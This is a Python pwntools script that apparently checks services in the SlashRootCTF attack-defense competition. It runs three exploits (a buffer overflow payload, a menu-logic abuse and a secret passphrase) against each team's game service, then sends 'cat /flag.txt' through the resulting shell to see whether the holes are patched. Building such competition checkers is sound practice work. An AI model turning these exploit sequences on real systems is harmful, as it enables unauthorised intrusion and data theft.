#! /usr/bin/env python3
# from pwn import context, remote
from pwn import remote, context
from multiprocessing import Pool
from time import sleep
import logging
import os

context.log_level = logging.ERROR

INTERVAL = 60
HOST = "192.168.2.20"
TOTAL_TEAMS = 10
FORMAT = "SlashRootCTF"


def poc0(host, port):
    try:
        with remote(host, port) as p:
            p.recvuntil(">")
            p.sendline(("A" * 32) + ("\x11\x11\x11\x11\x11\x11\x11\x11\x01"))
            msg = p.recvuntil(">").decode('utf-8')
            # print(msg)
            if "young" in msg:
                p.sendline("y")
                p.recvuntil(">")
                p.sendline("2")
                p.recvuntil(">")
                p.sendline("4")
                p.recvuntil(">")
                p.sendline("y")
                for _ in range(10):
                    p.recvuntil(">")
                    p.sendline("99")
                p.sendline("cat /flag.txt")
                flag = p.recvuntil("}").decode('utf-8')
                # print flag
                if FORMAT in flag:
                    return flag[-46:]
                else:
                    return False
            else:
                return False
    except EOFError:
        return False


def poc1(host, port):
    try:
        with remote(host, port) as p:
            p.recvuntil(">")
            p.sendline("Leo")
            p.recvuntil(">")
            p.sendline("y")
            for _ in range(2):
                p.recvuntil(">")
                p.sendline("3")
                p.recvuntil(">")
                p.sendline("0")
                if "Who" in p.recvuntil(">").decode('utf-8'):
                    return False
                p.sendline("y")
                p.recvuntil(">")
                p.sendline("1")
            p.recvuntil(">")
            p.sendline("4")
            p.recvuntil(">")
            p.sendline("y")
            for _ in range(10):
                p.recvuntil(">")
                p.sendline("99")
            p.sendline("cat /flag.txt")
            flag = p.recvuntil("}").decode('utf-8')
            if FORMAT in flag:
                return flag[-46:]
            else:
                return False
    except EOFError:
        return False


def poc2(host, port):
    try:
        with remote(host, port) as p:
            p.recvuntil(">")
            p.sendline("__th3_w0rLd_D3str0Y3r_15_b4ck__")
            p.recvuntil(">")
            p.sendline("y")
            p.recvuntil(">")
            p.sendline("6")
            if "Lv: 1000000" in p.recvuntil(">").decode('utf-8'):
                p.sendline("2")
                p.recvuntil(">")
                p.sendline("4")
                p.recvuntil(">")
                p.sendline("y")
                for _ in range(10):
                    p.recvuntil(">")
                    p.sendline("99")
                p.sendline("cat /flag.txt")
                flag = p.recvuntil("}").decode('utf-8')
                if FORMAT in flag:
                    return flag[-46:]
                else:
                    return False
            else:
                return False
    except EOFError:
        return False


def poc(host, port):
    with remote(host, port) as p:
        msg = p.recvuntil(">").decode('utf-8')
        if "Who" in msg:
            p.sendline("Leo")
            msg = p.recvuntil(">").decode('utf-8')
            if "Leo" in msg:
                p.sendline("Y")
                msg = p.recvuntil(">").decode('utf-8')
                if "What" in msg:
                    return True
        return False


def check(team):
    port = (60004 + (team*100))
    r = poc(HOST, port)
    r0 = poc0(HOST, port)
    r1 = poc1(HOST, port)
    r2 = poc2(HOST, port)
    # r0 = False
    # r1 = False
    # r2 = False
    return "Team [{:02d}] {} {} {} {}".format(team, r, r0, r1, r2)


def init_logging(logFileName: str, debug: bool = False):
    logFormatter = logging.Formatter(
        fmt="[%(asctime)s][%(levelname)s] %(message)s",
        datefmt='%d-%b-%y %H:%M:%S')

    rootLogger = logging.getLogger("checker")

    fileHandler = logging.FileHandler(logFileName)
    fileHandler.setFormatter(logFormatter)
    rootLogger.addHandler(fileHandler)

    consoleHandler = logging.StreamHandler()
    consoleHandler.setFormatter(logFormatter)
    rootLogger.addHandler(consoleHandler)

    rootLogger.setLevel(logging.DEBUG if debug else logging.INFO)

    return rootLogger


if __name__ == "__main__":
    checker_logger = init_logging("checker.log")
    while True:
        with Pool(TOTAL_TEAMS) as p:
            results = p.map(check, range(1, TOTAL_TEAMS+1))
        r0 = r1 = r2 = r3 = 0
        for result in results:
            checker_logger.info(result)
            status = result.split(' ')[2:]
            # print(status)
            r0 = (r0 + 1) if status[0] != "False" else (r0)
            r1 = (r1 + 1) if status[1] != "False" else (r1)
            r2 = (r2 + 1) if status[2] != "False" else (r2)
            r3 = (r3 + 1) if status[3] != "False" else (r3)
        checker_logger.info(
            "Summary: {} working as expected, 1st vuln {}, 2nd vuln {}, 3rd vuln {}".format(r0, r1, r2, r3))
        sleep(INTERVAL)